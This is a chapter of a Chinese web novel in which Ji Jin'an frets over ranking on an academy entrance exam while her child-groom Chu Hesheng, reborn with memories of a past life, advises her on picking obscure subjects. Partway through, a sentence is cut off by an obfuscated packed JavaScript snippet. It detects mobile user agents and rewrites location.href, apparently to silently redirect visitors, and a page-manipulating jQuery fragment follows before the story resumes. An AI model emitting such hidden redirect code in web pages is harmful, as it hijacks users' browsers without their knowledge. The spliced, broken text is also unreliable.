姬瑾安收起赤焰,将赤焰装入盒中,锤头丧气的走进楚河生的房间。
“楚河生,我愁啊。”
姬瑾安一进屋,便坐在楚河生对面,而后往桌子上一趴,嘴里嘟囔抱怨着。
“二小姐为何事发愁?”楚河生停下手中给姬瑾安缝制防晒外衫的动作,为姬瑾安倒了杯茶水,推至姬瑾安面前,而后又将沈正夫早上才命人送过来的荔枝剥了壳,递到了姬瑾安唇边。
姬瑾安也毫不客气的一开口咬走楚河生递过来的新鲜果肉,含糊的说道:“唔在...愁烤似。”
楚河生无奈摇摇头,将手伸到姬瑾安嘴边,“二小姐,核吐出来再说话吧。”
姬瑾安将楚河生的手推了回去,将嘴中的核吐在桌上楚河生剥的荔枝皮里,咽下果肉,复又说道:“我是说我在愁入学之后的考试。”
姬瑾安双手托腮,看向楚河生的眼中充满焦急。
“二小姐不必为此担忧,那个测验只是对学生进行摸底,以便根据每个学生的特长分班因材施教,二小姐你算是世家特招入学,自然不会受测试成绩约束,无论成绩如何,你都能随便选择班级的。”
我知道啊,但是系统要至少得拿前十啊,不然就要扣影响力了哇。
“嗯,但是姐姐当年可是在各项测试中夺得魁首,我作为姬瑾宁的妹妹,若是成绩太差,那也太丢人了吧。”
“你干嘛要和她比,这世上又有谁能与大小姐相提并论。”楚河生是重生之人,自然知道这姬瑾宁的厉害,他甚至有种奇怪的感觉,姬瑾宁似有天命加身,拥有莫名的气运。
据楚河生所知,自姬瑾宁入国子学之后,无论是史学经典、算学术数亦或是骑射武艺,她皆能冠绝群伦,一时声名鹊起,国子学上下万人无不知晓她姬瑾宁的大名,初时或许有那么几人对她心生嫉妒,但最后不是被她的才得或人格魅力折服,就是在与姬瑾宁较量后败北,最终对其心服口服。
后来姬瑾宁的仕途更是扶摇直上,初入朝堂便得女帝赏识,凡是她所奏陈条,十之八九被女帝采纳并施行,而且都还产生了实效,女帝对她日益信赖满意。
然而不仅如此,姬瑾宁她还有将帅之才,记得一年西凉人犯我大周边境,那时年仅二十的姬瑾宁请命领兵,那时群臣反对,但女帝却力排众议,应了她的请求。后来战报传来,初次领兵的姬瑾宁竟然长驱直入,直打的西凉铁骑丢盔弃甲,狼狈逃回戈壁。
想到这,楚河生不经又想起上辈子似乎凡是与姬瑾宁作对的都没有好下场,自己上辈子就是因为选错了路站错了队,站在姬瑾宁的对立面,以至于最后东窗事发。
姬瑾安见提到姬瑾宁,楚河生便陷入深思,眸色几番闪动变化,不禁心里咯噔一下。
怎么回事?为何一提起姬瑾宁楚河生这神情如此变幻莫测,难道楚河生还对姬瑾宁心存妄念?
思及此,姬瑾安有些烦躁,带着点个人情绪地肘击了一下楚河生的腰窝。
“喂,楚河生,你这话是什么意思,姐姐确实优秀,其她人只能望其项背。但我作为姬瑾宁的妹妹,怎么就不能将她作为目标?”
楚河生腰间一痒,被姬瑾安拉回思绪,这才意识到自己失言,赶忙出声开口道:“二小姐误会了,我是想想说二小姐在同龄人中已是翘楚,何必要用大小姐的准则来苛责自己。”
“真的吗?那你觉得我入学后的水平检测能够取得前十的名次吗??”
楚河生顿了顿,思索一番,而后看着姬瑾安的眼睛回答道:“嗯,可以的。”
“虽然知道你在说违心话,但我就当是你一番美意了。”姬瑾安见楚河生思索良久,才说出这样肯定的话,想必是纠结许久,不好落了自己的面子。
算了,焦虑有屁用,还是回书房多看看书,等日头过去了,自己再出去练习射箭骑马这些武考内容。
楚河生听姬瑾安这番话语,又见姬瑾安起身要走,有些着急的拉住姬瑾安的衣袖,“二小姐,我并未敷衍你,都是我的真心话,现在外头日头毒,你再我屋中再坐一会,爹爹送来的荔枝,我剥给你吃,你且听我细细为你分说缘由。”
姬瑾安便又顺着楚河生的动作坐回了凳子上,她确实好奇楚河生会说些什么。
楚河生见姬瑾安落座,赶忙拣了一个饱满的荔枝,指尖轻巧拨开果壳,清润如山涧的嗓音缓缓开口道:“二小姐,入学后的水平考试目的是为检测学生天赋特长,所以考试科目众多。文试和武试两大类下有许多小类,比如武试下就分了骑射、技勇,小类内还有分类。所以届时你选择你擅长的科目去考试,总有能够获得不错名次成绩的科目。”
姬瑾安闻言,噌的一下,眼睛一亮。对啊,系统又没说必须综合成绩,那自己到时候多报几个科目,最好报冷门的科目,如果某个科目只有三个人报名,那自己不就是躺赚了!
楚河生说完这些话后,心中暗生忐忑,担心姬瑾安会生气,方才当姬瑾安问自己她是否能在入学后的水平检验测试中取得前十名的成绩时,他几乎下意识的想摇头,因为能入国子学的都是全国翘楚,但当姬瑾安用满含期待的眼眸看着自己时,他控制住了自己下意识想摇的脑袋,嘴边的话思索后也转成了肯定。
没想到姬瑾安听完自己这一番言论后眼睛却更亮了,楚河生不禁心中疑惑,好奇怪,姬瑾安好像并不是想和姬瑾宁比较。
“楚河生你好厉害,没想到你成天呆在家里,也不怎么出去,竟然知道这么多。”
楚河生一时语塞,他知道这些是因为上辈子后来跟在姬贵君身边,姬贵君需要培养自己的势力,于是每年秋季国子学学生入学后的水平检测,姬贵君都会派自己前去挑选家境贫寒但有能力的好苗子,并暗中资助培养,以便将来这些人入仕之后能为自己所用。
楚河生又递给姬瑾安一个剥好的荔枝,不动声色地暗自瞧了一眼姬瑾安,见她沉浸在莫名的喜悦中,见她并未注意到自己的异样,暗暗松了一口气。
“楚河生,那你知道每年哪些科目报名的人少吗,或者你觉得哪些科目我有夺魁,呃……前三甲的可能呢?”
楚河生当然清楚,但他若是直接说出便太奇怪了,他一个大门不出,二门不迈的后院男子怎么能知道那么多呢。
楚河生摇摇头,“二小姐,我哪能知道这些,不过往年人少的水平检测科目大小姐应该是比较清楚的,二小姐届时可以问问大小姐。”
“嗨呀,我也真是高兴糊涂了,也是,这事该问姐姐,到时候等姐姐回家了我再问问她。”
看着姬瑾安喜滋滋的表情,楚河生心下疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314057|161112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惑,真是奇怪,为何姬瑾安这么在乎名次呢?国子学每年入学后水平检测设立科目众多,可是有的科目,着实没有什么含金量。
楚河生记得上辈子姬瑾宁打败西凉那年,西凉派出五皇子欲与大周和亲,女帝本欲将人指给二皇女姜瑶光,也就是姜长舟亲姐。但在看到坐下那少年高鼻深目,狼崽似眼睛透着不安与防备,蜜色的皮肤透着野性难驯的美,但他的眉宇间又透着未经人事的青涩淳朴。
这样独特的气质让高台之上的女帝瞪直了眼。宫中许久没进新人了,于是乎,女帝突然改了主意,当晚就将人抱进自己后宫去了。
这五皇子本是大漠自在的鹰,被禁锢在女帝深宫后成了笼中雀,便整日闷闷不乐,为了逗这西凉五皇子开心,女帝在那年国子学入学考试新设了一个科目——西凉乐。
女帝甚至发话,凡在国子学西凉乐考核中拔得头筹,可直接入太常寺入职。
可能进国子学的学生都不是一般人,都渴望着为大周建功立业,谁愿意去太常寺做一个吹拉弹的怜官呢?更何况为何会设置这样一个科目,众人都心知肚明,所以对此科目嗤之以鼻,基本上没什么报名。
但再怎么说,这也是一个吃皇粮了的机会,最后稀稀拉拉,有五人报名了这项科目。
楚河生记得上辈子的今年之时,似乎也新增了一个奇葩科目,不过那个科目更不体面了。
“你别光给我剥荔枝,你也吃呀。”想到了薅系统羊毛的办法,姬瑾安很是高兴,口中的荔枝都感觉更香甜了。
但见楚河生一直只顾着给自己剥壳,他自己都没吃几口,赶忙也剥了一个,递到给了楚河生。
“对了,楚河生,我前几天去爹爹那时,听爹爹说,娘马上也要回来了,应该能在九月前回来,倒是后我和娘说一声,九月咱们一起去国子学上学。”
“嗯。”楚河生点点头,接过姬瑾安递过来的荔枝,有些心不在焉的点点头。
“怎么啦?你有什么顾虑吗?”
犹豫半响,楚河生斟酌开口道:“二小姐,我能不能不以你……童养夫的身份进国子学呢?”
怕姬瑾安误会,楚河生又继续补充道:“二小姐,我并非不喜我是你童养夫这个身份,我是怕你会受到非议。”
楚河生自知自己这楚家私生子的身份上不了台面,若让人知道自己是姬瑾安的童养夫,姬瑾安毕竟是姬家女儿,旁人顶多在背后小声议论,但自己却可能会遭人嫉恨被人针对。为了能安稳的在国子学上学,他这才开口向姬瑾安请求道。
“这你放心,我本来也没打算让你以我童养夫的身份进国子学,更何况你是我童养夫这事母父也不会外传的。”虽然自己本来就没打算让楚河生以自己童养夫的身份和自己一起进国子学,但听到楚河生特意提及这点,不知为何姬瑾安心中有一丝丝的不爽,不过并未表现出来。
啧,怎么有种楚河生刻意想与我避险的感觉,虽然说当别人童养夫确实不是件多么光彩的事情,但当她们姬家的童养夫……嘶,当她姬瑾安的童养夫听起来好像更不光彩了,毕竟她现在的名声还很差。
听到姬瑾安的承诺,楚河生却没有自己想象中浑身一轻的感觉,在姬瑾安看不见的地方暗自自嘲,也是,自始自终自己都是个见不得人的童养夫。